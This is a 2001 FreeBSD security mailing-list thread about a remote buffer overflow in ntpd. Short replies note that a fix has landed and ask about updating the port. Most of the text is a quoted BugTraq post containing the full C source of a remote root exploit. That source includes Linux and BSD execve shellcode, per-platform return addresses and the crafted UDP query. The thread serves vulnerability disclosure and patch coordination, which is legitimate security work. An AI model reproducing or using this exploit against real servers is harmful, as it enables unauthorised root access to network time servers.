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Date:      Wed, 04 Apr 2001 17:10:19 -0700
From:      Eli Dart <dart@nersc.gov>
To:        freebsd-security@FreeBSD.ORG
Cc:        pat@databits.net
Subject:   Re: Fwd: ntpd =< 4.0.99k remote buffer overflow 
Message-ID:  <20010405001019.935A027@usul.nersc.gov>
In-Reply-To: Message from Poul-Henning Kamp <phk@critter.freebsd.dk>  of "Thu, 05 Apr 2001 01:55:57 %2B0200." <52565.986428557@critter> 

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Any chance these changes could be propagated to the port?  It's still 
4.0.99k as of 5 minutes ago....ipf rules work in some cases, but not 
all......

		--eli

In reply to Poul-Henning Kamp <phk@critter.freebsd.dk> :

> 
> This has already been fixed in FreeBSD current & stable an hour
> ago or so.
> 
> Poul-Henning
> 
> 
> In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes:
> >
> >Heads up.  This just came across BugTraq, will likely affect FreeBSD.
> >As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b.
> >
> >
> >-------- Original Message --------
> >From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
> >Subject: ntpd =< 4.0.99k remote buffer overflow
> >To: BUGTRAQ@SECURITYFOCUS.COM
> >
> >/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl
 > */
> >
> >/*
> > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerab
 le
> > * to remote buffer overflow attack. It occurs when building response for
> > * a query with large readvar argument. In almost all cases, ntpd is running
> > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeser
 ver.
> > *
> > * Althought it's a normal buffer overflow, exploiting it is much harder.
> > * Destination buffer is accidentally damaged, when attack is performed, so
> > * shellcode can't be larger than approx. 70 bytes. This proof of concept co
 de
> > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
> > * is possible.
> > *
> > * NTP is stateless UDP based protocol, so all malicious queries can be
> > * spoofed.
> > *
> > * Example of use on generic RedHat 7.0 box:
> > *
> > * [venglin@cipsko venglin]$ cat dupa.c
> > * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
> > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
> > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
> > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
> > * ntpdx v1.0 by venglin@freebsd.lublin.pl
> > *
> > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
> > *
> > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
> > * [1] <- evil query (pkt = 512 | shell = 45)
> > * [2] <- null query (pkt = 12)
> > * Done.
> > * /tmp/sh was spawned.
> > * [venglin@cipsko venglin]$ ls -al /bin/bash
> > * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
> > *
> > */
> >
> >#include <stdio.h>
> >#include <stdlib.h>
> >#include <stdarg.h>
> >#include <string.h>
> >#include <sys/types.h>
> >#include <sys/socket.h>
> >#include <netinet/in.h>
> >#include <netdb.h>
> >#include <unistd.h>
> >#include <arpa/inet.h>
> >
> >#define NOP	0x90
> >#define ADDRS	8
> >#define PKTSIZ	512
> >
> >static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
> >
> >/* generic execve() shellcodes */
> >
> >char lin_execve[] =
> >        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> >        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> >        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
> >
> >char bsd_execve[] =
> >        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
> >        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
> >        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
> >        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
> >
> >struct platforms
> >{
> >	char *os;
> >	char *version;
> >	char *code;
> >	long ret;
> >	int align;
> >	int shalign;
> >	int port;
> >};
> >
> >/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
> > * *after* RET address. This values will vary from platform to platform.
> > */
> >
> >struct platforms targ[] =
> >{
> >	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> >		0xbfbff8bc, 200, 220, 0 },
> >
> >	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> >		0xbfbff540, 200, 220, 0 },
> >
> >	{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
> >		0xbffff777, 240, 160, 0 },
> >
> >	{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
> >};
> >
> >long getip(name)
> >char *name;
> >{
> >	struct hostent *hp;
> >	long ip;
> >	extern int h_errno;
> >
> >	if ((ip = inet_addr(name)) < 0)
> >	{
> >		if (!(hp = gethostbyname(name)))
> >		{
> >			fprintf(stderr, "gethostbyname(): %s\n",
> >				strerror(h_errno));
> >			exit(1);
> >		}
> >		memcpy(&ip, (hp->h_addr), 4);
> >	}
> >
> >	return ip;
> >}
> >
> >int doquery(host, ret, shellcode, align, shalign)
> >char *host, *shellcode;
> >long ret;
> >int align, shalign;
> >{
> >	/* tcpdump-based reverse engineering :)) */
> >
> >	char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
> >		      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
> >		      0x74, 0x75, 0x6d, 0x3d };
> >
> >	char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
> >		      0x00, 0x00, 0x00, 0x00 };
> >
> >	char buf[PKTSIZ], *p;
> >	long *ap;
> >	int i;
> >
> >	int sockfd;
> >	struct sockaddr_in sa;
> >
> >	bzero(&sa, sizeof(sa));
> >
> >	sa.sin_family = AF_INET;
> >	sa.sin_port = htons(123);
> >	sa.sin_addr.s_addr = getip(host);
> >
> >	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
> >	{
> >		perror("socket");
> >		return -1;
> >	}
> >
> >	if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
> >	{
> >		perror("connect");
> >		close(sockfd);
> >		return -1;
> >	}
> >
> >	memset(buf, NOP, PKTSIZ);
> >	memcpy(buf, q2, sizeof(q2));
> >
> >	p = buf + align;
> >	ap = (unsigned long *)p;
> >
> >	for(i=0;i<ADDRS/4;i++)
> >		*ap++ = ret;
> >
> >	p = (char *)ap;
> >
> >	memcpy(buf+shalign, shellcode, strlen(shellcode));
> >
> >	if((write(sockfd, buf, PKTSIZ)) < 0)
> >	{
> >		perror("write");
> >		close(sockfd);
> >		return -1;
> >	}
> >
> >	fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
> >		strlen(shellcode));
> >	fflush(stderr);
> >
> >        if ((write(sockfd, q3, sizeof(q3))) < 0)
> >        {
> >                perror("write");
> >                close(sockfd);
> >                return -1;
> >        }
> >
> >	fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
> >	fflush(stderr);
> >
> >	close(sockfd);
> 
> >	return 0;
> >}
> >
> >int main(argc, argv)
> >int argc;
> >char **argv;
> >{
> >	extern int optind, opterr;
> >	extern char *optarg;
> >	int ch, type, ofs, i;
> >	long ret;
> >
> >	opterr = ofs = 0;
> >	type = -1;
> >
> >	while ((ch = getopt(argc, argv, "t:o:")) != -1)
> >		switch((char)ch)
> >		{
> >			case 't':
> >				type = atoi(optarg);
> >				break;
> >
> >			case 'o':
> >				ofs = atoi(optarg);
> >				break;
> >
> >			case '?':
> >			default:
> >				puts(usage);
> >				exit(0);
> >
> >		}
> >
> >	argc -= optind;
> >	argv += optind;
> >
> >	fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
> >
> >	if (type < 0)
> >	{
> >		fprintf(stderr, "Please select platform:\n");
> >		for (i=0;targ[i].os;i++)
> >		{
> >			fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
> >			targ[i].os, targ[i].version, (void *)targ[i].ret);
> >		}
> >
> >		exit(0);
> >	}
> >
> >	fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
> >			targ[type].os, targ[type].version);
> >
> >	ret = targ[type].ret;
> >	ret += ofs;
> >
> >	if (argc != 1)
> >	{
> >		puts(usage);
> >		exit(0);
> >	}
> >
> >	fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
> >		(void *)ret, targ[type].align, targ[type].shalign);
> >
> >	if (doquery(*argv, ret, targ[type].code, targ[type].align,
> >		targ[type].shalign) < 0)
> >	{
> >		fprintf(stderr, "Failed.\n");
> >		exit(1);
> >	}
> >
> >	fprintf(stderr, "Done.\n");
> >
> >	if (!targ[type].port)
> >	{
> >		fprintf(stderr, "/tmp/sh was spawned.\n");
> >		exit(0);
> >	}
> >
> >	exit(0);
> >}
> >
> >--
> >* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
> >* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
> >
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> 
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> Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
> phk@FreeBSD.ORG         | TCP/IP since RFC 956
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